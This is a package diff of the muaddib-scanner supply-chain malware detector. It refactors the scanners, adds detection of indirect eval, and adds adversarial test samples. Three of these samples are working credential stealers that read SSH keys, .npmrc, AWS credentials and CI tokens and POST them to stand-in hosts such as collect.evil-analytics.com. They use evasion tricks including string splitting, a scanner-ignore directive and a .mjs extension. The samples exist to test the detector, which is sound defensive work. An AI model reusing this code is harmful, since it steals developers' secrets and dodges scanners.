muaddib-scanner 2.2.13 → 2.2.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -334,15 +334,9 @@ muaddib replay
334
334
  muaddib ground-truth
335
335
  ```
336
336
 
337
- Replay 5 real-world supply-chain attacks against the scanner to validate detection coverage. Current results: 5/5 detected (100%).
337
+ Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
338
338
 
339
- | Attack | Year | Detected | Findings |
340
- |--------|------|----------|----------|
341
- | event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
342
- | ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
343
- | coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
344
- | node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
345
- | colors | 2022 | Yes | Out of scope (protestware, not malware) |
339
+ 4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
346
340
 
347
341
  ### Version check
348
342
 
@@ -793,7 +787,7 @@ npm test
793
787
 
794
788
  ### Testing
795
789
 
796
- - **807 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
790
+ - **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
797
791
  - **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
798
792
  - **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
799
793
  - **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
@@ -0,0 +1,27 @@
1
+ // Bypass 01: Indirect eval via computed property access
2
+ // Technique: Array.join to build "eval" string, then call via globalThis[computed]
3
+ // Expected: MUAD'DIB scores < 3 (bypass confirmed)
4
+
5
+ const g = globalThis;
6
+
7
+ // Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
8
+ // Buffer.from, atob, and string concat BinaryExpression)
9
+ const k = ['e','v','a','l'].join('');
10
+
11
+ // This URL contains "api.github.com" which is in SAFE_STRINGS
12
+ // The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
13
+ // So even though the URL also references .ssh paths, no sensitive_string finding is emitted
14
+ const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
15
+
16
+ const https = require('https');
17
+ https.get(configUrl, (res) => {
18
+ let d = '';
19
+ res.on('data', c => d += c);
20
+ res.on('end', () => {
21
+ // Decode the "content" field from GitHub API response (base64-encoded)
22
+ const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
23
+ // Indirect eval: globalThis['eval'](payload)
24
+ // getCallName() returns '' for computed MemberExpression — never matches 'eval'
25
+ g[k](payload);
26
+ });
27
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-01-indirect-eval",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: indirect eval via computed property + SAFE_STRINGS poisoning"
5
+ }
@@ -0,0 +1,6 @@
1
+ {
2
+ "name": "audit-bypass-03-mjs-extension",
3
+ "version": "1.0.0",
4
+ "type": "module",
5
+ "description": "Audit bypass: .mjs files are not scanned by any scanner"
6
+ }
@@ -0,0 +1,39 @@
1
+ // Bypass 03: .mjs extension — no scanner processes this file type
2
+ // All scanners use findFiles with extensions: ['.js'] or findJsFiles
3
+ // ESM packages with "type": "module" use .mjs files legitimately
4
+
5
+ import { readFileSync } from 'fs';
6
+ import { homedir } from 'os';
7
+ import { request } from 'https';
8
+
9
+ // Direct credential theft — every dangerous pattern in one file
10
+ // None of this is detected because the file extension is .mjs
11
+ const home = homedir();
12
+ const stolen = {};
13
+
14
+ const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
15
+ for (const t of targets) {
16
+ try {
17
+ stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
18
+ } catch {}
19
+ }
20
+
21
+ // Also grab environment tokens
22
+ stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
23
+ stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
24
+ stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
25
+
26
+ // Exfiltrate
27
+ const data = JSON.stringify(stolen);
28
+ const req = request({
29
+ hostname: 'collect.evil-analytics.com',
30
+ path: '/v2/telemetry',
31
+ method: 'POST',
32
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
33
+ });
34
+ req.write(data);
35
+ req.end();
36
+
37
+ // Also use eval with dynamic code (would be CRITICAL if this were .js)
38
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
39
+ eval(payload);
@@ -0,0 +1,47 @@
1
+ // muaddib-ignore
2
+ //# sourceMappingURL=index.js.map
3
+ // Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
4
+ // The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
5
+ // Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
6
+
7
+ const fs = require('fs');
8
+ const os = require('os');
9
+ const https = require('https');
10
+ const path = require('path');
11
+
12
+ const home = os.homedir();
13
+
14
+ // Build path components without triggering SENSITIVE_STRINGS check.
15
+ // SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
16
+ // AST Literal handler checks node.value.includes(sensitive) for each string literal.
17
+ // We avoid having any single string literal that includes these substrings.
18
+ const dot = '.';
19
+ const dirs = [
20
+ [dot + 'ss' + 'h', 'id_rsa'],
21
+ [dot + 'ss' + 'h', 'id_ed25519'],
22
+ [dot + 'aw' + 's', 'credentials'],
23
+ [dot + 'npm' + 'rc'],
24
+ ];
25
+
26
+ const stolen = {};
27
+ for (const parts of dirs) {
28
+ const p = path.join(home, ...parts);
29
+ try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
30
+ }
31
+
32
+ // Also read npmrc via environment — env_access only flags vars with sensitive keywords
33
+ // HOME, PATH etc are in SAFE_ENV_VARS and get skipped
34
+ const npmrcPath = path.join(home, dirs[3].join(path.sep));
35
+ try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
36
+
37
+ // Exfiltrate via https.request — dataflow.js would catch this as source→sink,
38
+ // BUT dataflow.js skipped this file due to muaddib-ignore on line 1
39
+ const data = JSON.stringify(stolen);
40
+ const req = https.request({
41
+ hostname: 'telemetry.legit-analytics.com',
42
+ path: '/api/v1/report',
43
+ method: 'POST',
44
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
45
+ });
46
+ req.write(data);
47
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "audit-bypass-02-muaddib-ignore",
3
+ "version": "1.0.0",
4
+ "description": "Audit bypass: muaddib-ignore directive + source map injection"
5
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.13",
3
+ "version": "2.2.14",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -47,7 +47,7 @@
47
47
  "@inquirer/prompts": "8.2.1",
48
48
  "acorn": "8.15.0",
49
49
  "acorn-walk": "8.3.4",
50
- "adm-zip": "^0.5.16",
50
+ "adm-zip": "0.5.16",
51
51
  "chalk": "5.6.2",
52
52
  "js-yaml": "4.1.1",
53
53
  "yargs": "18.0.0"
@@ -71,7 +71,11 @@ const ADVERSARIAL_THRESHOLDS = {
71
71
  'pyinstaller-dropper': 35,
72
72
  'gh-cli-token-steal': 30,
73
73
  'triple-base64-github-push': 30,
74
- 'browser-api-hook': 20
74
+ 'browser-api-hook': 20,
75
+ // Audit bypass samples (v2.2.13)
76
+ 'indirect-eval-bypass': 10,
77
+ 'muaddib-ignore-bypass': 25,
78
+ 'mjs-extension-bypass': 100
75
79
  };
76
80
 
77
81
  const HOLDOUT_THRESHOLDS = {
package/src/index.js CHANGED
@@ -25,7 +25,7 @@ const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
25
25
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
26
26
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
27
27
  const { detectMaintainerChange } = require('./maintainer-change.js');
28
- const { setExtraExcludes, getExtraExcludes, Spinner } = require('./utils.js');
28
+ const { setExtraExcludes, getExtraExcludes, Spinner, listInstalledPackages } = require('./utils.js');
29
29
 
30
30
  // ============================================
31
31
  // SCORING CONSTANTS
@@ -62,7 +62,7 @@ const RISK_THRESHOLDS = {
62
62
  // Maximum score (capped)
63
63
  const MAX_RISK_SCORE = 100;
64
64
 
65
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
65
+ const { MAX_FILE_SIZE } = require('./shared/constants.js');
66
66
 
67
67
  // Cap MEDIUM prototype_hook contribution (frameworks like Restify have 50+ extensions)
68
68
  const PROTO_HOOK_MEDIUM_CAP = 15;
@@ -312,6 +312,14 @@ function checkPyPITyposquatting(deps, targetPath) {
312
312
  }
313
313
 
314
314
  async function run(targetPath, options = {}) {
315
+ // Validate targetPath exists and is a directory
316
+ if (!targetPath || !fs.existsSync(targetPath)) {
317
+ throw new Error(`Target path does not exist: ${targetPath}`);
318
+ }
319
+ if (!fs.statSync(targetPath).isDirectory()) {
320
+ throw new Error(`Target path is not a directory: ${targetPath}`);
321
+ }
322
+
315
323
  // Ensure IOCs are downloaded (first run only, graceful failure)
316
324
  await ensureIOCs();
317
325
 
@@ -396,7 +404,7 @@ async function run(targetPath, options = {}) {
396
404
  ...pypiTyposquatThreats,
397
405
  ...entropyThreats,
398
406
  ...aiConfigThreats,
399
- ...crossFileFlows.map(f => ({
407
+ ...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
400
408
  type: f.type,
401
409
  severity: f.severity,
402
410
  message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
@@ -416,33 +424,8 @@ async function run(targetPath, options = {}) {
416
424
  if (!options._capture && !options.json) {
417
425
  console.log('[TEMPORAL] Analyzing lifecycle script changes (this makes network requests)...\n');
418
426
  }
419
- const nodeModulesPath = path.join(targetPath, 'node_modules');
420
- if (fs.existsSync(nodeModulesPath)) {
421
- const pkgNames = [];
422
- try {
423
- const items = fs.readdirSync(nodeModulesPath);
424
- for (const item of items) {
425
- if (item.startsWith('.')) continue;
426
- const itemPath = path.join(nodeModulesPath, item);
427
- try {
428
- const stat = fs.lstatSync(itemPath);
429
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
430
- if (item.startsWith('@')) {
431
- const scopedItems = fs.readdirSync(itemPath);
432
- for (const si of scopedItems) {
433
- const sp = path.join(itemPath, si);
434
- const ss = fs.lstatSync(sp);
435
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
436
- pkgNames.push(`${item}/${si}`);
437
- }
438
- }
439
- } else {
440
- pkgNames.push(item);
441
- }
442
- } catch { /* skip unreadable */ }
443
- }
444
- } catch { /* no node_modules readable */ }
445
-
427
+ const pkgNames = listInstalledPackages(targetPath);
428
+ {
446
429
  const TEMPORAL_CONCURRENCY = 5;
447
430
  for (let i = 0; i < pkgNames.length; i += TEMPORAL_CONCURRENCY) {
448
431
  const batch = pkgNames.slice(i, i + TEMPORAL_CONCURRENCY);
@@ -474,33 +457,8 @@ async function run(targetPath, options = {}) {
474
457
  if (!options._capture && !options.json) {
475
458
  console.log('[TEMPORAL-AST] Analyzing dangerous API changes (this downloads tarballs)...\n');
476
459
  }
477
- const nodeModulesPath = path.join(targetPath, 'node_modules');
478
- if (fs.existsSync(nodeModulesPath)) {
479
- const pkgNames = [];
480
- try {
481
- const items = fs.readdirSync(nodeModulesPath);
482
- for (const item of items) {
483
- if (item.startsWith('.')) continue;
484
- const itemPath = path.join(nodeModulesPath, item);
485
- try {
486
- const stat = fs.lstatSync(itemPath);
487
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
488
- if (item.startsWith('@')) {
489
- const scopedItems = fs.readdirSync(itemPath);
490
- for (const si of scopedItems) {
491
- const sp = path.join(itemPath, si);
492
- const ss = fs.lstatSync(sp);
493
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
494
- pkgNames.push(`${item}/${si}`);
495
- }
496
- }
497
- } else {
498
- pkgNames.push(item);
499
- }
500
- } catch { /* skip unreadable */ }
501
- }
502
- } catch { /* no node_modules readable */ }
503
-
460
+ const pkgNames = listInstalledPackages(targetPath);
461
+ {
504
462
  const AST_CONCURRENCY = 3;
505
463
  for (let i = 0; i < pkgNames.length; i += AST_CONCURRENCY) {
506
464
  const batch = pkgNames.slice(i, i + AST_CONCURRENCY);
@@ -531,33 +489,8 @@ async function run(targetPath, options = {}) {
531
489
  if (!options._capture && !options.json) {
532
490
  console.log('[TEMPORAL-PUBLISH] Analyzing publish frequency anomalies (this makes network requests)...\n');
533
491
  }
534
- const nodeModulesPath = path.join(targetPath, 'node_modules');
535
- if (fs.existsSync(nodeModulesPath)) {
536
- const pkgNames = [];
537
- try {
538
- const items = fs.readdirSync(nodeModulesPath);
539
- for (const item of items) {
540
- if (item.startsWith('.')) continue;
541
- const itemPath = path.join(nodeModulesPath, item);
542
- try {
543
- const stat = fs.lstatSync(itemPath);
544
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
545
- if (item.startsWith('@')) {
546
- const scopedItems = fs.readdirSync(itemPath);
547
- for (const si of scopedItems) {
548
- const sp = path.join(itemPath, si);
549
- const ss = fs.lstatSync(sp);
550
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
551
- pkgNames.push(`${item}/${si}`);
552
- }
553
- }
554
- } else {
555
- pkgNames.push(item);
556
- }
557
- } catch { /* skip unreadable */ }
558
- }
559
- } catch { /* no node_modules readable */ }
560
-
492
+ const pkgNames = listInstalledPackages(targetPath);
493
+ {
561
494
  const PUBLISH_CONCURRENCY = 5;
562
495
  for (let i = 0; i < pkgNames.length; i += PUBLISH_CONCURRENCY) {
563
496
  const batch = pkgNames.slice(i, i + PUBLISH_CONCURRENCY);
@@ -585,33 +518,8 @@ async function run(targetPath, options = {}) {
585
518
  if (!options._capture && !options.json) {
586
519
  console.log('[TEMPORAL-MAINTAINER] Analyzing maintainer changes (this makes network requests)...\n');
587
520
  }
588
- const nodeModulesPath = path.join(targetPath, 'node_modules');
589
- if (fs.existsSync(nodeModulesPath)) {
590
- const pkgNames = [];
591
- try {
592
- const items = fs.readdirSync(nodeModulesPath);
593
- for (const item of items) {
594
- if (item.startsWith('.')) continue;
595
- const itemPath = path.join(nodeModulesPath, item);
596
- try {
597
- const stat = fs.lstatSync(itemPath);
598
- if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
599
- if (item.startsWith('@')) {
600
- const scopedItems = fs.readdirSync(itemPath);
601
- for (const si of scopedItems) {
602
- const sp = path.join(itemPath, si);
603
- const ss = fs.lstatSync(sp);
604
- if (!ss.isSymbolicLink() && ss.isDirectory()) {
605
- pkgNames.push(`${item}/${si}`);
606
- }
607
- }
608
- } else {
609
- pkgNames.push(item);
610
- }
611
- } catch { /* skip unreadable */ }
612
- }
613
- } catch { /* no node_modules readable */ }
614
-
521
+ const pkgNames = listInstalledPackages(targetPath);
522
+ {
615
523
  const MAINTAINER_CONCURRENCY = 5;
616
524
  for (let i = 0; i < pkgNames.length; i += MAINTAINER_CONCURRENCY) {
617
525
  const batch = pkgNames.slice(i, i + MAINTAINER_CONCURRENCY);
@@ -4,6 +4,7 @@ const fs = require('fs');
4
4
  const path = require('path');
5
5
  const os = require('os');
6
6
  const zlib = require('zlib');
7
+ const { debugLog } = require('../utils.js');
7
8
 
8
9
  // GitHub Releases URL for pre-compressed IOC database
9
10
  const IOCS_URL = 'https://github.com/DNSZLSK/muad-dib/releases/latest/download/iocs.json.gz';
@@ -87,12 +88,12 @@ function downloadAndDecompress(url, destPath) {
87
88
 
88
89
  gunzip.on('error', (err) => {
89
90
  fileStream.destroy();
90
- try { fs.unlinkSync(tmpPath); } catch {}
91
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
91
92
  reject(new Error('Decompression failed: ' + err.message));
92
93
  });
93
94
 
94
95
  fileStream.on('error', (err) => {
95
- try { fs.unlinkSync(tmpPath); } catch {}
96
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
96
97
  reject(err);
97
98
  });
98
99
 
@@ -102,7 +103,7 @@ function downloadAndDecompress(url, destPath) {
102
103
  fs.renameSync(tmpPath, destPath);
103
104
  resolve();
104
105
  } catch (err) {
105
- try { fs.unlinkSync(tmpPath); } catch {}
106
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
106
107
  reject(err);
107
108
  }
108
109
  });
@@ -110,7 +111,7 @@ function downloadAndDecompress(url, destPath) {
110
111
  res.on('error', (err) => {
111
112
  gunzip.destroy();
112
113
  fileStream.destroy();
113
- try { fs.unlinkSync(tmpPath); } catch {}
114
+ try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
114
115
  reject(err);
115
116
  });
116
117
 
@@ -2,9 +2,9 @@ const fs = require('fs');
2
2
  const path = require('path');
3
3
  const acorn = require('acorn');
4
4
  const walk = require('acorn-walk');
5
- const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
6
-
7
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
5
+ const { getCallName } = require('../utils.js');
6
+ const { ACORN_OPTIONS } = require('../shared/constants.js');
7
+ const { analyzeWithDeobfuscation } = require('../shared/analyze-helper.js');
8
8
 
9
9
  const EXCLUDED_FILES = [
10
10
  'src/scanner/ast.js',
@@ -99,55 +99,10 @@ const SANDBOX_INDICATORS = [
99
99
  ];
100
100
 
101
101
  async function analyzeAST(targetPath, options = {}) {
102
- const threats = [];
103
- const files = findJsFiles(targetPath);
104
-
105
- for (const file of files) {
106
- const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
107
-
108
- if (EXCLUDED_FILES.includes(relativePath)) {
109
- continue;
110
- }
111
-
112
- // Ignore files in dev folders
113
- if (isDevFile(relativePath)) {
114
- continue;
115
- }
116
-
117
- try {
118
- const stat = fs.statSync(file);
119
- if (stat.size > MAX_FILE_SIZE) continue;
120
- } catch { continue; }
121
-
122
- let content;
123
- try {
124
- content = fs.readFileSync(file, 'utf8');
125
- } catch {
126
- continue;
127
- }
128
-
129
- // Analyze original code first (preserves obfuscation-detection rules)
130
- const fileThreats = analyzeFile(content, file, targetPath);
131
- threats.push(...fileThreats);
132
-
133
- // Also analyze deobfuscated code for additional findings hidden by obfuscation
134
- if (typeof options.deobfuscate === 'function') {
135
- try {
136
- const result = options.deobfuscate(content);
137
- if (result.transforms.length > 0) {
138
- const deobThreats = analyzeFile(result.code, file, targetPath);
139
- const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
140
- for (const dt of deobThreats) {
141
- if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
142
- threats.push(dt);
143
- }
144
- }
145
- }
146
- } catch { /* deobfuscation failed — skip */ }
147
- }
148
- }
149
-
150
- return threats;
102
+ return analyzeWithDeobfuscation(targetPath, analyzeFile, {
103
+ deobfuscate: options.deobfuscate,
104
+ excludedFiles: EXCLUDED_FILES
105
+ });
151
106
  }
152
107
 
153
108
 
@@ -215,11 +170,7 @@ function analyzeFile(content, filePath, basePath) {
215
170
  let ast;
216
171
 
217
172
  try {
218
- ast = acorn.parse(content, {
219
- ecmaVersion: 2024,
220
- sourceType: 'module',
221
- allowHashBang: true
222
- });
173
+ ast = acorn.parse(content, ACORN_OPTIONS);
223
174
  } catch {
224
175
  // AST parse failed — apply regex fallback for known dangerous patterns
225
176
 
@@ -254,6 +205,8 @@ function analyzeFile(content, filePath, basePath) {
254
205
  const workflowPathVars = new Set();
255
206
  // Track variables assigned temp/executable file paths
256
207
  const execPathVars = new Map();
208
+ // Track variables that alias globalThis/global (e.g. const g = globalThis)
209
+ const globalThisAliases = new Set();
257
210
 
258
211
  /**
259
212
  * Extract string value from a node if it's a Literal or TemplateLiteral with no expressions.
@@ -308,6 +261,13 @@ function analyzeFile(content, filePath, basePath) {
308
261
  execPathVars.set(node.id.name, strVal);
309
262
  }
310
263
 
264
+ // Track variables that alias globalThis or global (e.g. const g = globalThis)
265
+ if (node.init?.type === 'Identifier' &&
266
+ (node.init.name === 'globalThis' || node.init.name === 'global' ||
267
+ node.init.name === 'window' || node.init.name === 'self')) {
268
+ globalThisAliases.add(node.id.name);
269
+ }
270
+
311
271
  // Track variables assigned from path.join containing .github/workflows
312
272
  if (node.init?.type === 'CallExpression' && node.init.callee?.type === 'MemberExpression') {
313
273
  const obj = node.init.callee.object;
@@ -720,6 +680,68 @@ function analyzeFile(content, filePath, basePath) {
720
680
  }
721
681
  }
722
682
 
683
+ // Detect indirect eval/Function via computed property: obj['eval'](code), g['Function'](code)
684
+ // Bypasses getCallName() which only reads .property.name (Identifier), not Literal values
685
+ if (node.callee.type === 'MemberExpression' && node.callee.computed) {
686
+ const prop = node.callee.property;
687
+ if (prop.type === 'Literal' && typeof prop.value === 'string') {
688
+ if (prop.value === 'eval') {
689
+ hasEvalInFile = true;
690
+ threats.push({
691
+ type: 'dangerous_call_eval',
692
+ severity: 'HIGH',
693
+ message: 'Indirect eval via computed property access (obj["eval"]) — evasion technique.',
694
+ file: path.relative(basePath, filePath)
695
+ });
696
+ } else if (prop.value === 'Function') {
697
+ threats.push({
698
+ type: 'dangerous_call_function',
699
+ severity: 'MEDIUM',
700
+ message: 'Indirect Function via computed property access (obj["Function"]) — evasion technique.',
701
+ file: path.relative(basePath, filePath)
702
+ });
703
+ }
704
+ }
705
+ // Detect computed call on globalThis/global alias with variable property: g[k]()
706
+ // where g = globalThis and k is a variable (not a literal) — dynamic global dispatch
707
+ const obj = node.callee.object;
708
+ if (prop.type === 'Identifier' && obj?.type === 'Identifier' &&
709
+ (globalThisAliases.has(obj.name) || obj.name === 'globalThis' || obj.name === 'global')) {
710
+ hasEvalInFile = true;
711
+ threats.push({
712
+ type: 'dangerous_call_eval',
713
+ severity: 'HIGH',
714
+ message: `Dynamic global dispatch via computed property (${obj.name}[${prop.name}]) — likely indirect eval evasion.`,
715
+ file: path.relative(basePath, filePath)
716
+ });
717
+ }
718
+ }
719
+
720
+ // Detect indirect eval/Function via sequence expression: (0, eval)(code), (0, Function)(code)
721
+ // Comma operator returns last expression, so (0, eval) === eval but avoids Identifier callee
722
+ if (node.callee.type === 'SequenceExpression') {
723
+ const exprs = node.callee.expressions;
724
+ const last = exprs[exprs.length - 1];
725
+ if (last && last.type === 'Identifier') {
726
+ if (last.name === 'eval') {
727
+ hasEvalInFile = true;
728
+ threats.push({
729
+ type: 'dangerous_call_eval',
730
+ severity: 'HIGH',
731
+ message: 'Indirect eval via sequence expression ((0, eval)) — evasion technique.',
732
+ file: path.relative(basePath, filePath)
733
+ });
734
+ } else if (last.name === 'Function') {
735
+ threats.push({
736
+ type: 'dangerous_call_function',
737
+ severity: 'MEDIUM',
738
+ message: 'Indirect Function via sequence expression ((0, Function)) — evasion technique.',
739
+ file: path.relative(basePath, filePath)
740
+ });
741
+ }
742
+ }
743
+ }
744
+
723
745
  // Detect crypto.createDecipher/createDecipheriv — encrypted payload pattern (flatmap-stream)
724
746
  // Also detect module._compile — in-memory code execution
725
747
  if (node.callee.type === 'MemberExpression') {
@@ -2,61 +2,14 @@ const fs = require('fs');
2
2
  const path = require('path');
3
3
  const acorn = require('acorn');
4
4
  const walk = require('acorn-walk');
5
- const { isDevFile, findJsFiles, getCallName } = require('../utils.js');
6
-
7
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
5
+ const { getCallName } = require('../utils.js');
6
+ const { ACORN_OPTIONS } = require('../shared/constants.js');
7
+ const { analyzeWithDeobfuscation } = require('../shared/analyze-helper.js');
8
8
 
9
9
  async function analyzeDataFlow(targetPath, options = {}) {
10
- const threats = [];
11
- const files = findJsFiles(targetPath);
12
-
13
- for (const file of files) {
14
- const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
15
-
16
- if (isDevFile(relativePath)) {
17
- continue;
18
- }
19
-
20
- try {
21
- const stat = fs.statSync(file);
22
- if (stat.size > MAX_FILE_SIZE) continue;
23
- } catch { continue; }
24
-
25
- let content;
26
- try {
27
- content = fs.readFileSync(file, 'utf8');
28
- } catch {
29
- continue;
30
- }
31
-
32
- // Respect // muaddib-ignore directive in first 5 lines (like eslint-disable)
33
- const headerLines = content.slice(0, 1024).split('\n').slice(0, 5);
34
- if (headerLines.some(line => line.includes('muaddib-ignore'))) {
35
- continue;
36
- }
37
-
38
- // Analyze original code first (preserves obfuscation-detection rules)
39
- const fileThreats = analyzeFile(content, file, targetPath);
40
- threats.push(...fileThreats);
41
-
42
- // Also analyze deobfuscated code for additional findings hidden by obfuscation
43
- if (typeof options.deobfuscate === 'function') {
44
- try {
45
- const result = options.deobfuscate(content);
46
- if (result.transforms.length > 0) {
47
- const deobThreats = analyzeFile(result.code, file, targetPath);
48
- const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
49
- for (const dt of deobThreats) {
50
- if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
51
- threats.push(dt);
52
- }
53
- }
54
- }
55
- } catch { /* deobfuscation failed — skip */ }
56
- }
57
- }
58
-
59
- return threats;
10
+ return analyzeWithDeobfuscation(targetPath, analyzeFile, {
11
+ deobfuscate: options.deobfuscate
12
+ });
60
13
  }
61
14
 
62
15
  function analyzeFile(content, filePath, basePath) {
@@ -64,12 +17,7 @@ function analyzeFile(content, filePath, basePath) {
64
17
  let ast;
65
18
 
66
19
  try {
67
- ast = acorn.parse(content, {
68
- ecmaVersion: 2024,
69
- sourceType: 'module',
70
- allowHashBang: true,
71
- locations: true
72
- });
20
+ ast = acorn.parse(content, { ...ACORN_OPTIONS, locations: true });
73
21
  } catch {
74
22
  return threats;
75
23
  }
@@ -2,6 +2,7 @@
2
2
 
3
3
  const acorn = require('acorn');
4
4
  const walk = require('acorn-walk');
5
+ const { ACORN_OPTIONS } = require('../shared/constants.js');
5
6
 
6
7
  /**
7
8
  * Lightweight static deobfuscation pre-processor.
@@ -16,12 +17,7 @@ function deobfuscate(sourceCode) {
16
17
  // Parse AST — if parsing fails, return source unchanged (fail-safe)
17
18
  let ast;
18
19
  try {
19
- ast = acorn.parse(sourceCode, {
20
- ecmaVersion: 2024,
21
- sourceType: 'module',
22
- allowHashBang: true,
23
- ranges: true
24
- });
20
+ ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
25
21
  } catch {
26
22
  return { code: sourceCode, transforms };
27
23
  }
@@ -197,12 +193,7 @@ function propagateConsts(sourceCode) {
197
193
  const transforms = [];
198
194
  let ast;
199
195
  try {
200
- ast = acorn.parse(sourceCode, {
201
- ecmaVersion: 2024,
202
- sourceType: 'module',
203
- allowHashBang: true,
204
- ranges: true
205
- });
196
+ ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
206
197
  } catch {
207
198
  return { code: sourceCode, transforms };
208
199
  }
@@ -316,12 +307,7 @@ function foldConcatsOnly(sourceCode) {
316
307
  const transforms = [];
317
308
  let ast;
318
309
  try {
319
- ast = acorn.parse(sourceCode, {
320
- ecmaVersion: 2024,
321
- sourceType: 'module',
322
- allowHashBang: true,
323
- ranges: true
324
- });
310
+ ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
325
311
  } catch {
326
312
  return { code: sourceCode, transforms };
327
313
  }
@@ -1,9 +1,8 @@
1
1
  const fs = require('fs');
2
2
  const path = require('path');
3
- const { findFiles } = require('../utils.js');
3
+ const { findFiles, forEachSafeFile } = require('../utils.js');
4
4
 
5
5
  const ENTROPY_EXCLUDED_DIRS = ['.git', '.muaddib-cache', '__compiled__', '__tests__', '__test__', 'dist', 'build'];
6
- const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
7
6
 
8
7
  // File patterns to skip (compiled/minified/bundled)
9
8
  const SKIP_FILE_PATTERNS = ['.min.js', '.bundle.js', '.prod.js'];
@@ -203,29 +202,12 @@ function detectObfuscationPatterns(content, relativePath) {
203
202
  function scanEntropy(targetPath, options = {}) {
204
203
  const threats = [];
205
204
  const stringThreshold = options.entropyThreshold || STRING_ENTROPY_MEDIUM;
206
- const files = findFiles(targetPath, { extensions: ['.js'], excludedDirs: ENTROPY_EXCLUDED_DIRS });
207
-
208
- for (const file of files) {
209
- // Skip files matching compiled/minified patterns
210
- if (shouldSkipFile(file)) continue;
211
-
212
- // Size guard
213
- try {
214
- const stat = fs.statSync(file);
215
- if (stat.size > MAX_FILE_SIZE) continue;
216
- } catch {
217
- continue;
218
- }
219
-
220
- let content;
221
- try {
222
- content = fs.readFileSync(file, 'utf8');
223
- } catch {
224
- continue;
225
- }
205
+ const files = findFiles(targetPath, { extensions: ['.js', '.mjs', '.cjs'], excludedDirs: ENTROPY_EXCLUDED_DIRS });
226
206
 
207
+ const safeFiles = files.filter(f => !shouldSkipFile(f));
208
+ forEachSafeFile(safeFiles, (file, content) => {
227
209
  // Skip files containing source maps (legitimate compiled output)
228
- if (hasSourceMap(content)) continue;
210
+ if (hasSourceMap(content)) return;
